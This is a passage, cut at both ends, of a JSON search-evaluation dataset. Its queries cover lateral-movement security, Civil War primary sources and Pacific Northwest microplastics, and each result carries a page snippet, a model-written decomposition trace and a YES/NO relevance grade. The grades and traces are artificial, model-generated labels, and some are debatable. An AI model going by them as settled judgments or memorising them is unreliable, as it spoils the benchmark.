                "text": "Judging what I\u2019ve heard during my 30 years in the security industry, CISOs invest most heavily in two areas: technology to protect the perimeter of their networks, and technology to make sure the PCs and other endpoint devices used by employees are not compromised. And yet many companies are still successfully attacked every year, at an increasingly unacceptable cost. It\u2019s time for a new approach to protect the most vulnerable and the most enticing target: the applications, data centers, access points and other infrastructure. In other words, inside your network.\nMany of the most sophisticated attackers spend their days devising ways to sneak into the massive flow of data that takes place behind the perimeter. Often, the plan is to obfuscate payloads and hide their malicious activities within legitimate traffic and slip it into this \u201cEast-West\u201d traffic, which can be orders of magnitude larger than the relative trickles of \u201cNorth-South\u201d data that flows past a firewall or onto an endpoint. Once inside, smart attackers bide their time, hiding within the common noise of your network, discovering assets, moving laterally leveraging common ports and protocols waiting for opportunities to do the most damage\u2014say, to launch a ransomware attack or surreptitiously steal customer data. Some of the worst breaches of 2021 fit this description.\nFortunately, the internal traffic is in our wheelhouse. Our heritage in hypervisor technology gives us a privileged position when it comes to understanding precisely what is happening inside the company\u2019s applications and networks\u2014both the aggregate flows of traffic, but also at the most granular level. Thousands of companies use our tools to manage the deployment of software, whether using virtual machines (VMs) or container technology, and to understand network traffic at the packet level. This privileged position gives us visibility and context about every packet like no other.\nToday, we\u2019re taking a major step to make the most of this privileged position. We introduced enhancements to",
                "model_trace": "Query Decomposition:\n1. {cutting-edge techniques for detecting sophisticated lateral movement attacks}: The document discusses lateral movement attacks but does not provide specific cutting-edge techniques for detecting them -> ([1], UNSATISFIED)\n2. {cutting-edge techniques for mitigating sophisticated lateral movement attacks}: The document mentions the importance of internal traffic visibility and context but does not detail specific mitigation techniques -> ([1], UNSATISFIED)\n3. {cloud-native environment}: The document references the use of virtual machines and container technology, which are relevant to cloud-native environments -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {cutting-edge techniques for detecting sophisticated lateral movement attacks} and {cutting-edge techniques for mitigating sophisticated lateral movement attacks}. Since both of these subcomponents are UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Connecting the Dots across OS, Containers, Network, and Cloud API Planes",
                "url": "https://medium.com/confluera-engineering/connecting-the-dots-across-os-containers-network-and-cloud-api-planes-30dd7b249711?source=post_internal_links---------2----------------------------",
                "published_date": "2022-07-08",
                "text": "Vinay Prabhu, Niloy Mukherjee Cloud is a Marketplace The cloud is evolving as a marketplace of diverse components ranging from infrastructure, platforms, and cloud-native services. You can visualize your cloud as a casino or a shopping mall. However unlike a casino or a shopping mall, the cloud is perimeter-less and zero trust. Threat actors will keep evading perimeters, blend in the environment hiding in the noise overload, while navigating towards the Crown Jewels (your RDS or S3 artifacts). So how do you connect the dots automatically and intercept cloud data security threat actors in their tracks? The Solution Fabric Put a tracking device on every actor right from the point it makes an initial entry. Continue tracking them as they navigate across various components (host OS, container, K8S, network, Identity and Access Management Role). Record suspicious behaviors executed on the trail, weak or strong; behaviors such as reconnaissance, IAM privilege escalation, cloud discompliance and misconfigurations A threat actor gets automatically surfaced from the pack way before it reaches the crown jewels when it has exhibited enough risk on its trail Having full knowledge of the exact entities impacted by the threat actor, surgically clean it up (More details at https://bit.ly/3OfXNgR) Test Drive Check out how Confluera reacts in real-time to a malicious insider as he makes an initial access, navigates from one VM to another, uses an IAM role associated with a VM to assume a more open role, and finally hops into a cross account IAM role towards production crown jewels. Act 1 \u2014 The malicious insider logs in to an EC2 instance and performs a few \u2018netstat\u2019 commands for reconnaissance. Act 2 \u2014 He moves in into another EC2 instance that serves as a bastion host in his organization\u2019s AWS development account. The instance has a very restricted IAM role assigned to it. The restricted role only allows him to change the default version for the IAM policy associated with the role. However, the insider uses \u2018aws list role polici",
                "model_trace": "Query Decomposition:\n1. [cutting-edge techniques for detecting sophisticated lateral movement attacks in a cloud-native environment]: The document discusses tracking threat actors across various cloud components and behaviors such as reconnaissance and IAM privilege escalation, which aligns with detecting sophisticated lateral movement attacks -> ([1], SATISFIED)\n2. [cutting-edge techniques for mitigating sophisticated lateral movement attacks in a cloud-native environment]: The document mentions surgically cleaning up impacted entities once a threat actor is identified, which aligns with mitigating such attacks -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents related to detecting and mitigating sophisticated lateral movement attacks in a cloud-native environment. YES."
            },
            {
                "grade": "NO",
                "title": "SEC510: Cloud Security Controls and Mitigations - SANS Institute",
                "url": "https://www.sans.org/cyber-security-courses/cloud-security-controls-mitigations/",
                "published_date": null,
                "text": "GIAC Public Cloud Security (GPCS)           In Person (5 days)      Online    38 CPEs  Today's organizations depend on complex, multicloud environments which must support hundreds of different services across multiple clouds. These services are often insecure by default. Similar services in different Cloud Service Providers (CSPs) need to be protected using very different methods. Security teams need a deep understanding of AWS, Azure, and Google Cloud services to lock them down properly. Checking off compliance requirements is not enough to protect the confidentiality, integrity, and availability of your organization's data, nor will it prevent attackers from taking your critical systems down. With the right controls, organizations can reduce their attack surface and prevent security incidents from becoming breaches. Mistakes happen. Limit the impact of the inevitable.       Formerly known as \"Public Cloud Security: AWS, Azure, and GCP, SEC510 has a new name and clarifying messaging to better align with the courseware and provide clarity for the community.  Prevent real attacks with controls that matter. Protecting multicloud environments is hard. Default controls are insecure more often than not. A security control that works in one of the Big 3 CSPs may not work the same in another. Many cloud security controls are focused on compliance rather than being derived from real attack case studies. Attack-driven controls are necessary to protect an organization's most important cloud-based assets. Accepting the inevitability of application flaws, whether the application is developed in-house or by a third-party, is fundamental for successful cloud security controls. Not many cybersecurity professionals can fix vulnerable application code. Thankfully, it is typically easier to apply secure cloud configuration to mitigate the impact of these vulnerabilities. Relying on the CSP's security defaults and documentation is insufficient. SEC510 exposes many examples of incorrect, incomplete, or contradictory CSP controls. Ad",
                "model_trace": "Query Decomposition:\n1. [cutting-edge techniques for detecting sophisticated lateral movement attacks in a cloud-native environment]: The document does not specifically mention techniques for detecting lateral movement attacks -> ([0], UNSURE)\n2. [cutting-edge techniques for mitigating sophisticated lateral movement attacks in a cloud-native environment]: The document mentions controls and mitigations for cloud security but does not provide specific techniques for mitigating lateral movement attacks -> ([1], UNSATISFIED)\n3. [focus on network security in a cloud-native environment]: The document covers cloud security controls and mitigations but does not specifically focus on network security or lateral movement attacks -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {cutting-edge techniques for mitigating sophisticated lateral movement attacks in a cloud-native environment} and {focus on network security in a cloud-native environment}. Since both are UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Lateral Movement in Cybersecurity: Understanding and Preventing ...",
                "url": "https://faddom.com/lateral-movement-cybersecurity/",
                "published_date": null,
                "text": "Read Time:  6 minutes   Lateral movement attacks are one of the most prevalent methods used by threat actors today. While gaining access to the network through phishing attempts or malware is the first step for any attacker, the most sophisticated attackers seek ways to move around throughout a network. This lateral movement leads to the greatest potential for long-term data loss for small- to medium-sized businesses, with this method accounting for 25% of all cyberattacks in 2022.\nDeterring such persistent threats is becoming increasingly challenging in light of the expanding complexity of today\u2019s networks. By understanding the nature of lateral movement, IT leaders and security specialists can work collaboratively to detect and prevent the threat posed by these attacks.\n   What is Lateral Movement?   How Lateral Movement Works: The Stages of Attack   Common Lateral Movement Techniques   Detecting and Preventing Lateral Movement\u00a0   Gain Visibility into Your Network with Faddom    \n  What is Lateral Movement?  \nA key tactic of advanced persistent threats (APTs), lateral movement is a set of techniques that threat actors use to identify high-value targets in multiple network systems. A lateral movement attack is a long-game approach for attackers skilled at avoiding detection for weeks or months as they gather information on network systems. The ultimate target: high-value data that provides control over specific company assets\u2014or even the entire company\u2014which are held for ransom.\nThe ability to move from side to side within the network through applications, devices, and other gateways and endpoints enables attackers to find new ways to move deeper into the network to reach critical data. By gaining access to user account credentials, admin accounts, and passwords, and other entry points, attackers can escalate their privileges to access more and more data, and eventually move it to their own environments. Detection of these threat actors can take weeks or months, and many organizations detect them only after they",
                "model_trace": "Query Decomposition:\n1. {cutting-edge techniques for detecting and mitigating sophisticated lateral movement attacks}: The document discusses common lateral movement techniques and general strategies for detecting and preventing lateral movement, but it does not specify \"cutting-edge\" techniques -> ([1], UNSATISFIED)\n2. {in a cloud-native environment}: The document does not mention cloud-native environments specifically, focusing instead on general network environments -> ([0], UNSURE)\n\nAssessment: The document provides general information on lateral movement and some techniques for detection and prevention, but it does not address cutting-edge techniques or specifically focus on cloud-native environments. Therefore, it does not fully satisfy the query's requirements. NO."
            },
            {
                "grade": "NO",
                "title": "Cybersecurity 101: Fundamentals of Cybersecurity - CrowdStrike",
                "url": "https://www.crowdstrike.com/cybersecurity-101/",
                "published_date": null,
                "text": "Cybersecurity is becoming increasingly important in today\u00e2\u0080\u0099s world. CrowdStrike is providing explanations, examples and best practices on fundamental principles of a variety of cybersecurity topics. If you're looking for information on endpoint protection, cloud security, types of cyber attacks and more, you\u00e2\u0080\u0099ve come to the right place \u00e2\u0080\u0093 welcome to Cybersecurity 101!\n \n  a   b   c   d   e   f   g   h   i   k   l   m   n   o   p   r   s   t   v   w   x   z   \nFilter By Category:\n Threats &amp; Vulnerabilities Types of Attacks Identity Protection Cloud Security Security Operations Endpoint Security Uncategorized Observability  \na\nAccess LogRead Post &gt;\nAn access log is a log file that records all events related to client applications and user access to a resource on a computer. Examples can be web server access logs, FTP command logs, or database query logs.\nActive Directory Federation Service (AD FS)Read Post &gt;\nActive Directory Federation Service (AD FS) is a single sign on (SSO) feature developed by Microsoft that provides authenticated access to any domain, device, web application or system within the organization\u00e2\u0080\u0099s active directory (AD).\nActive Directory SecurityRead Post &gt;\nActive Directory is a directory service offered by Microsoft Windows that helps administrators configure permissions and network access.\nAddress Resolution Protocol (ARP) SpoofingRead Post &gt;\nAddress Resolution Protocol (ARP) spoofing or ARP poisoning is a form of spoofing attack that hackers use to intercept data. A hacker commits an ARP spoofing attack by tricking one device into sending messages to the hacker instead of the intended recipient. \nAdvanced Endpoint Protection (AEP)Read Post &gt;\nAdvanced endpoint protection (AEP) is a next-generation endpoint security solution that uses AI, machine learning, and other intelligent automation capabilities to provide more comprehensive cybersecurity protection from a variety of modern threats.\nAdvanced Persistent Threat (APT)Read Post &gt;\nAn advanced persistent threat (APT) is ",
                "model_trace": "Query Decomposition:\n1. {cutting-edge techniques for detecting and mitigating sophisticated lateral movement attacks}: The document provides fundamental principles and best practices on various cybersecurity topics but does not specifically mention cutting-edge techniques for lateral movement attacks -> ([0], UNSATISFIED)\n2. {network security}: The document covers a wide range of cybersecurity topics, including network security -> ([1], SATISFIED)\n3. {cloud-native environment}: The document includes a category on cloud security, which is relevant to a cloud-native environment -> ([1], SATISFIED)\n\nAssessment: The document covers network security and cloud security, but it does not provide specific cutting-edge techniques for detecting and mitigating sophisticated lateral movement attacks. Therefore, it does not fully satisfy the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a high school history teacher interested in primary source accounts of the Civil War. Can you find me some compelling firsthand narratives from soldiers or civilians on Twitter that I can share with my students?",
        "grid_pos": [
            3,
            6
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "The queries cover a range of topics that would require a good understanding of the internet, social media, and current events to adequately serve. The personalized nature of the queries, with the user describing their background and interests, adds an extra layer of complexity that a smart search engine like Exa would need to handle well. The search result type being Twitter also means the engine would need to be able to surface high-quality, relevant content from that platform specifically.\n\nFor the first query about microplastics, the search engine would need to be able to find the latest research on that topic, understand the user's focus on the Pacific Northwest region, and provide results that are tailored to an environmental science graduate student.\n\nThe second query about vegan food bloggers requires the engine to have a good understanding of the food/cooking domain, be able to identify innovative vegan chefs on Twitter, and provide recommendations that would be useful for a food blogger looking for inspiration.\n\nThe third query about Civil War primary sources demands that the engine can surface compelling firsthand accounts on Twitter, understand the user's interest as a history teacher, and provide content that would be appropriate for a high school classroom.\n\nThe fourth query about NLP experts on Twitter tests the engine's ability to identify authoritative voices in a technical field, understand the user's background as a software engineer, and provide resources that would be helpful for someone learning about NLP.\n\nFinally, the fifth query about electronic dance music trends requires the engine to have a pulse on the latest developments in that genre, identify up-and-coming DJs pushing boundaries, and provide recommendations that would be useful for a music producer.\n\nOverall, these queries cover a wide range of topics and user intents, and would be a good test of Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Why I Quit Twitter",
                "url": "https://kevinmlevin.substack.com/p/why-i-quit-twitter",
                "published_date": "2022-06-24",
                "text": "On Wednesday I deactivated my twitter account. Source: ExpressVPN I started using twitter roughly 12 years ago, but it wasn\u2019t until around 2016 that it became my primary social media vehicle after a decade of blogging. In the early years it was an extension of my blogging and commitment to sharing my passion for the Civil War era and history education with as broad an audience as possible. I gradually accumulated followers and in 2019 twitter verified my account with the little blue check mark. Share Twitter is a powerful platform and to a certain extent I believe I can claim that I was successful in utilizing it to educate my readers and advance my own professional interests. This was the case right up to the moment when I decided to deactivate my acccount on Wednesday, but it has become increasingly clear that there was a price to be paid for this success. For me, that price was addiction. I was already spending an increased amount of time on twitter before 2020, but the pandemic pushed me over the edge. It wasn\u2019t just that I was spending more and more time on twitter, but that the platform itself had become a much darker and unhealthy place to be. How could it not, between the Trump presidency, COVID, and the Jan. 6 insurrection? Though I had maintained my focus on tweeting content related to Civil War memory and history education on twitter throughout this period, I found myself commenting increasingly on a host of other subjects that had little to do with these interests. The little blue checkmark attracted a lot more attention to my tweets, which helped to encourage the illusion that I somehow mattered and had an obligation to speak out and be seen. [I\u2019ve said many times that applying for the verified status was the stupidest thing I could have done on twitter.] With each day twitter became less and less an enjoyable experience, but I couldn\u2019t find a way to escape the cycle. We all know that twitter was designed to be addictive. It encourages negativity and content that will earn likes and retweets all in t",
                "model_trace": "Query Decomposition:\n1. {Primary source accounts of the Civil War}: The document does not contain any primary source accounts of the Civil War -> ([0], UNSATISFIED)\n2. {Firsthand narratives from soldiers or civilians}: The document does not contain firsthand narratives from soldiers or civilians of the Civil War -> ([0], UNSATISFIED)\n3. {Available on Twitter}: The document discusses the author's experience on Twitter but does not provide any primary source accounts from Twitter -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents. It is primarily about the author's personal experience with Twitter and does not provide any primary source accounts or firsthand narratives of the Civil War. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/RealJamesWoods/status/1672676279626371072",
                "published_date": "2023-06-24",
                "text": "Gustavus Rape was wounded at Cowpens and fought at Eutaw Springs, one of only five survivors in his platoon of 12 men. He also fought at Orangeburg and other engagements, a true Revolutionary War Hero.\n\nHe was my Great-Great\u2026Grandfather.| created_at: Sat Jun 24 18:41:16 +0000 2023 | favorite_count: 1131 | quote_count: 0 | reply_count: 58 | retweet_count: 99 | is_quote_status: True | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {primary source accounts of the Civil War}: The document mentions a Revolutionary War hero, not a Civil War account -> ([1], UNSATISFIED)\n2. {firsthand narratives from soldiers or civilians}: The document provides a narrative about a soldier, but from the Revolutionary War, not the Civil War -> ([1], UNSATISFIED)\n3. {on Twitter}: The document is indeed a Twitter post -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {primary source accounts of the Civil War}, {firsthand narratives from soldiers or civilians}, and {on Twitter}. Since the document does not satisfy the first two key subcomponents, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/RealJamesWoods/status/1672647602201047046",
                "published_date": "2023-06-24",
                "text": "Now see how intriguing this is! My patriot ancestor also fought at Eutaw Springs (as well as Cowpens and other engagements). In fact it is mentioned on his widow\u2019s pension application. How amazing is it that all those generations back our ancestors fought side by side?| created_at: Sat Jun 24 16:47:19 +0000 2023 | favorite_count: 686 | quote_count: 2 | reply_count: 31 | retweet_count: 70 | is_quote_status: True | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {primary source accounts of the Civil War}: The document mentions a patriot ancestor who fought in battles such as Eutaw Springs and Cowpens, which are related to the American Revolutionary War, not the Civil War -> ([1], UNSATISFIED)\n2. {compelling firsthand narratives from soldiers or civilians}: The document does not contain a firsthand narrative but rather a modern-day reflection on an ancestor's involvement in historical battles -> ([1], UNSATISFIED)\n3. {on Twitter}: The document is a Twitter post -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {primary source accounts of the Civil War} and {compelling firsthand narratives from soldiers or civilians}. Since both of these subcomponents are unsatisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Civil War Soldiers' Stories | Civil War and Reconstruction ...",
                "url": "https://www.loc.gov/classroom-materials/united-states-history-primary-source-timeline/civil-war-and-reconstruction-1861-1877/civil-war-soldiers-stories/",
                "published_date": null,
                "text": "Presentation\n U.S. History Primary Source Timeline\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n   \n  Portrait of a Federal soldier, between 1860 and 1864\n Civil War \n \n It is virtually impossible to measure the human costs of the Civil War, the hardships and suffering it caused. What we do know is that millions of people grieved for the loss of loved ones. In all, around 360,000 Union soldiers died as a direct result of the war. The Confederacy lost 260,000 dead. Many more soldiers were wounded; some wounds maimed their victims for life. The overall number of dead that resulted from the Civil War nearly equals the number of American soldiers killed in every other military action up to the present.\n The documents listed tell stories of and about soldiers during the Civil War. Several address the reasons why young men and boys joined up enthusiastically. Others tell of the experience and suffering of being a prisoner of war. Still others speak about action during the war and provide glimpses into how the Civil War was fought and how the soldiers experienced the war.\n As you search\u00a0Loc.gov\u00a0for more primary sources about soldiers during the Civil War, be certain to search\u00a0Civil War\u00a0and\u00a0American Life Histories: Manuscripts from the Federal Writers' Project, 1936-1940. Use such terms as\u00a0soldier,\u00a0Union soldier,\u00a0Confederate soldier, and the names of specific Civil War battles, such as\u00a0Antietam,\u00a0Chancellorsville,\u00a0Cold Harbor\u00a0and\u00a0Gettysburg.\n Documents\n \n \n  Gus Bowles Goes to War \n  A Young Girl Meets Her Soldier Father \n  Captured During Longstreet's Charge at Gettysburg \n  Virginian Robert Carter Recalls the War \n  An Incident, Anything But Amusing \n  Mr. Johnson Remembers Morgan's Soldiers \n  Lewis McBride Joins the Union Army \n  Zouave ambulance crew demonstrating removal of wounded soldiers from the field; another view \n  Nurses and officers of the U.S. Sanitary Commission \n  Officers of the 114th Pennsylvania Infantry playing cards in front of tents \n  A Sutler's Tent \n  Noncommissioned officers' mess of Co. D, 93d New ",
                "model_trace": "Query Decomposition:\n1. {Primary source accounts of the Civil War}: The document lists several firsthand narratives and documents from soldiers and civilians during the Civil War -> ([1], SATISFIED)\n2. {Compelling firsthand narratives}: The document includes a variety of personal stories and experiences, which can be considered compelling -> ([1], SATISFIED)\n3. {Available on Twitter}: The document does not mention Twitter or provide any links to Twitter accounts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Primary source accounts of the Civil War} and {Compelling firsthand narratives}. Both are satisfied by the document. The subcomponent about Twitter is tagged [0], so it does not affect the evaluation. YES."
            },
            {
                "grade": "NO",
                "title": "Civil War - Exploring the Past",
                "url": "https://pastexplore.wordpress.com/tag/civil-war/",
                "published_date": null,
                "text": "The Pennsylvania Soldiers\u2019 Memorial at the Gettysburg Battlefield. Photo taken by the author in 2013.  \nI like to think of myself as someone who is able to consume a high volume of information in a discerning way. I try not to get too emotionally high or low about anything I read online. I try to think critically about a source\u2019s motivations and potential biases. I think Sam Wineburg and Sarah McGrew are on to something when they discuss the importance of lateral reading, or the idea that when you see a claim online, it\u2019s important to search broadly to see where else the claim is being repeated.  \nSometimes I read or watch things from divergent perspectives and find myself making unexpected connections. \nI recently finished reading Ty Seidule\u2019s fine book,  Robert E. Lee and Me . Seidule grew up in a strongly Southern household. He idolized Robert E. Lee, loved watching movies like Gone with the Wind and Song of the South, and read books by people like Joel Chandler Harris who romanticized the plantation life of the pre-Civil War South. Early in his Army career, he considered himself a Virginian more so than an American. But Seidule\u2019s academic studies and his eventual transition into a historian at West Point challenged the foundation his personal identity was built on. He began to understand that the version of history he consumed was inaccurate and quite racist. He initially idolized the statuesque, \u201cmarble man\u201d version of General Lee that portrayed him as a virtuous, Christian soldier who had no choice but to fight for the imperiled South in a valiant cause against the Lincoln administration\u2019s tyranny. But Seidule eventually realized that other Virginians like Winfield Scott, George Thomas, and even most of Lee\u2019s own extended family considered themselves Americans first and chose to defend their country. He came to understand that after more than thirty years of serving in the United States Army, Lee had the power to make a choice in 1861 and chose to fight against the Army that he had previously served. \nAnd y",
                "model_trace": "Query Decomposition:\n1. {primary source accounts of the Civil War}: This document does not contain primary source accounts; it discusses secondary sources and interpretations of Civil War history -> ([1], UNSATISFIED)\n2. {firsthand narratives from soldiers or civilians}: The document does not provide firsthand narratives from soldiers or civilians; it discusses a historian's perspective and secondary sources -> ([1], UNSATISFIED)\n3. {on Twitter}: The document does not mention Twitter or provide links to Twitter accounts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {primary source accounts of the Civil War} and {firsthand narratives from soldiers or civilians}. Since both are UNSATISFIED, the document does not meet the user's query requirements. NO."
            },
            {
                "grade": "YES",
                "title": "Personal Narratives and Accounts - American Civil War",
                "url": "https://lib.guides.umd.edu/c.php?g=326774&p=2197450",
                "published_date": null,
                "text": "Personal narratives from the Civil War are a rich resources for understanding the wide range of experiences and viewpoints of Americans during the war.\u00a0 These firsthand accounts offer insight into the motivations of individuals fighting for the Union and the Confederacy, as well as the hardships faced by family members on the homefront.\u00a0 Their narratives provide details about the conditions and emotions that defined life during the Civil War.  \n Men and women from both the North and South, often kept journals or diaries of their experiences on the battlefield, in prison camps, in military hospitals, and on the home front. Many of these narratives were compiled after the war and published as memoirs. \u00a0 \u00a0 \u00a0  \n    Use the suggested subject headings on the right to search the catalog for Civil War personal narratives and accounts.\u00a0 You may also browse this page for a selection of titles available in the\u00a0Maryland Room\u00a0covering the following topics:  \n\t\n\t  Confederate Army  \n\t\n\t\n\t  Union Army  \n\t\n\t\n\t  Women  \n\t\n\t  Additional Narratives  \n  Personal narratives and accounts of the Civil War come in a variety of formats, including diaries, memoirs, journals, and non-fictional accounts.\u00a0 Therefore, it is important to examine them carefully as primary sources.\u00a0 The following    are important analytical questions to consider when looking at these resources:  \n\t When was the source written and/or published? Is it an account from the time period or a later recollection? \n\t Where was the source produced? \n\t Who created the source?\u00a0 Is it a first-hand account?\u00a0 Was it recorded or written down by another person? \n\t What is the source?\u00a0 Is it a diary, published narrative, oral history interview, or something else? \n\t Does the author use actual names and places, or does he/she rely on pseudonyms? \u00a0Has the story been embellished or is it a straightforward account of events? \n     For more information about how to use sources for your research, visit the\u00a0interpreting primary and secondary sources\u00a0guide from the University of Maryland",
                "model_trace": "Query Decomposition:\n1. {primary source accounts of the Civil War}: This document provides information about primary source accounts, including diaries, memoirs, journals, and non-fictional accounts from the Civil War -> ([1], SATISFIED)\n2. {compelling firsthand narratives}: The document mentions that the narratives offer detailed insights into the experiences and emotions of individuals during the Civil War, which can be compelling for students -> ([2], SATISFIED)\n3. {on Twitter}: The document does not provide any information about finding these narratives on Twitter -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to primary source accounts and compelling firsthand narratives but does not address finding these accounts on Twitter. However, the main intent of the query seems to be finding primary source accounts to share with students, and this document provides a useful resource for that purpose. YES."
            }
        ]
    },
    {
        "query": "I'm an environmental science graduate student looking for the latest research on the impact of microplastics on marine ecosystems in the Pacific Northwest region.",
        "grid_pos": [
            3,
            6
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "The queries cover a range of topics that would require a good understanding of the internet, social media, and current events to adequately serve. The personalized nature of the queries, with the user describing their background and interests, adds an extra layer of complexity that a smart search engine like Exa would need to handle well. The search result type being Twitter also means the engine would need to be able to surface high-quality, relevant content from that platform specifically.\n\nFor the first query about microplastics, the search engine would need to be able to find the latest research on that topic, understand the user's focus on the Pacific Northwest region, and provide results that are tailored to an environmental science graduate student.\n\nThe second query about vegan food bloggers requires the engine to have a good understanding of the food/cooking domain, be able to identify innovative vegan chefs on Twitter, and provide recommendations that would be useful for a food blogger looking for inspiration.\n\nThe third query about Civil War primary sources demands that the engine can surface compelling firsthand accounts on Twitter, understand the user's interest as a history teacher, and provide content that would be appropriate for a high school classroom.\n\nThe fourth query about NLP experts on Twitter tests the engine's ability to identify authoritative voices in a technical field, understand the user's background as a software engineer, and provide resources that would be helpful for someone learning about NLP.\n\nFinally, the fifth query about electronic dance music trends requires the engine to have a pulse on the latest developments in that genre, identify up-and-coming DJs pushing boundaries, and provide recommendations that would be useful for a music producer.\n\nOverall, these queries cover a wide range of topics and user intents, and would be a good test of Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Presence of microplastics and microparticles in Oregon Black Rockfish sampled near marine reserve areas",
                "url": "https://peerj.com/articles/14564/",
                "published_date": "2023-02-14",
                "text": "Presence of microplastics and microparticles in Oregon Black Rockfish sampled near marine reserve areas\n\n, Madison Arnold 3 , Anika Agrawal 4 , H. William Fennie 5,6,7 , Kirsten Grorud-Colvert 5 , Su Sponaugle 5,7 , Lindsay Aylesworth 8 , Scott Heppell 2 , Susanne M. Brander 9\n\n1School of Aquatic and Fishery Sciences, University of Washington, Seattle, WA, United States\n\n2Department of Fisheries, Wildlife, and Conservation Sciences, Oregon State University, Corvallis, Oregon, United States\n\n3Department of Environmental Molecular Toxicology, Oregon State University, Corvallis, OR, United States\n\n4Natural Resources and the Environment, University of Connecticut, Storrs, CT, United States\n\n5Department of Integrative Biology, Oregon State University, Corvallis, OR, United States\n\n6Fisheries Resources Division, Southwest Fisheries Science Center, National Marine Fisheries Service, National Oceanic and Atmospheric and Administration, La Jolla, CA, USA\n\n7Hatfield Marine Science Center, Newport, OR, USA\n\n8Oregon Department of Fish and Wildlife, Newport, OR, USA\n\n9Coastal Oregon Marine Experiment Station, Oregon State University, Newport, Oregon, United States\n\nDOI\n\n10.7717/peerj.14564\n\nPublished\n 2023-02-14 \nAccepted\n 2022-11-22 \nReceived\n 2022-04-13\n\nAcademic Editor\n Todd Anderson\n\nSubject Areas\n\nAquaculture, Fisheries and Fish Science, Marine Biology, Environmental Impacts\n\nKeywords\n\nMicroplastics, Microparticles, Microfibers, Marine Pollution, Black Rockfish, Oregon, Ingestion\n\nCopyright\n\u00a9 2023 Lasdin et al.\n\nLicence\n\nThis is an open access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, reproduction and adaptation in any medium and for any purpose provided that it is properly attributed. For attribution, the original author(s), title, publication source (PeerJ) and either DOI or URL of the article must be cited.\n\nCite this article\n\nLasdin KS, Arnold M, Agrawal A, Fennie HW, Grorud-Colvert K, Sponaugle S, Aylesworth L, Heppell S, Brander SM",
                "model_trace": "Query Decomposition:\n1. {latest research}: The document is a recently published research article from February 2023 -> ([1], SATISFIED)\n2. {impact of microplastics on marine ecosystems}: The document discusses the presence of microplastics and microparticles in Black Rockfish, which is relevant to the impact on marine ecosystems -> ([1], SATISFIED)\n3. {Pacific Northwest region}: The document specifically focuses on Oregon, which is part of the Pacific Northwest region -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Risk-based management framework for microplastics in aquatic ecosystems - Microplastics and Nanoplastics",
                "url": "https://microplastics.springeropen.com/articles/10.1186/s43591-022-00033-3",
                "published_date": "2022-06-23",
                "text": "Research\n\nOpen access\n\nPublished: 23 June 2022\n\nScott Coffin 2 , Albert A. Koelmans 3 , Susanne M. Brander 4 , Martin Wagner 5 , Leah M. Thornton Hampton 1 , Allen G. Burton Jr 6 , Ezra Miller 7 , Todd Gouin 8 , Stephen B. Weisberg 1 & \u2026 Chelsea M. Rochman 9 \n Microplastics and Nanoplastics \n 2, Article number: ()\n Cite this article\n\n5626\n\n38\n\n70\n\nMetrics\n\nA Correction to this article was published on 31 August 2022\n\nThis article has been updated\n\nAbstract Microplastic particles (MPs) are ubiquitous across a wide range of aquatic habitats but determining an appropriate level of risk management is hindered by a poor understanding of environmental risk. Here, we introduce a risk management framework for aquatic ecosystems that identifies four critical management thresholds, ranging from low regulatory concern to the highest level of concern where pollution control measures could be introduced to mitigate environmental emissions. The four thresholds were derived using a species sensitivity distribution (SSD) approach and the best available data from the peer-reviewed literature. This included a total of 290 data points extracted from 21 peer-reviewed microplastic toxicity studies meeting a minimal set of pre-defined quality criteria. The meta-analysis resulted in the development of critical thresholds for two effects mechanisms: food dilution with thresholds ranging from ~ 0.5 to 35 particles/L, and tissue translocation with thresholds ranging from ~ 60 to 4100 particles/L. This project was completed within an expert working group, which assigned high confidence to the management framework and associated analytical approach for developing thresholds, and very low to high confidence in the numerical thresholds. Consequently, several research recommendations are presented, which would strengthen confidence in quantifying threshold values for use in risk assessment and management. These recommendations include a need for high quality toxicity tests, and for an improved understanding of the mechanisms of action to bette",
                "model_trace": "Query Decomposition:\n1. {latest research}: The document was published in June 2022, so it is relatively recent -> ([1], SATISFIED)\n2. {impact of microplastics on marine ecosystems}: The document discusses the impact of microplastics on aquatic ecosystems, which includes marine ecosystems -> ([1], SATISFIED)\n3. {Pacific Northwest region}: The document does not specify the geographic focus, so it is unclear if it pertains to the Pacific Northwest -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {latest research} and {impact of microplastics on marine ecosystems}. Both of these subcomponents are satisfied. Although the document does not specify the Pacific Northwest region, it still provides valuable and recent research on the impact of microplastics on aquatic ecosystems, which is relevant to the user's broader interest. YES."
            },
            {
                "grade": "YES",
                "title": "Evidence for rapid gut clearance of microplastic polyester fibers fed to Chinook salmon: A tank study.",
                "url": "https://www.sciencedirect.com/science/article/pii/S0269749120334369",
                "published_date": "2020-06-25",
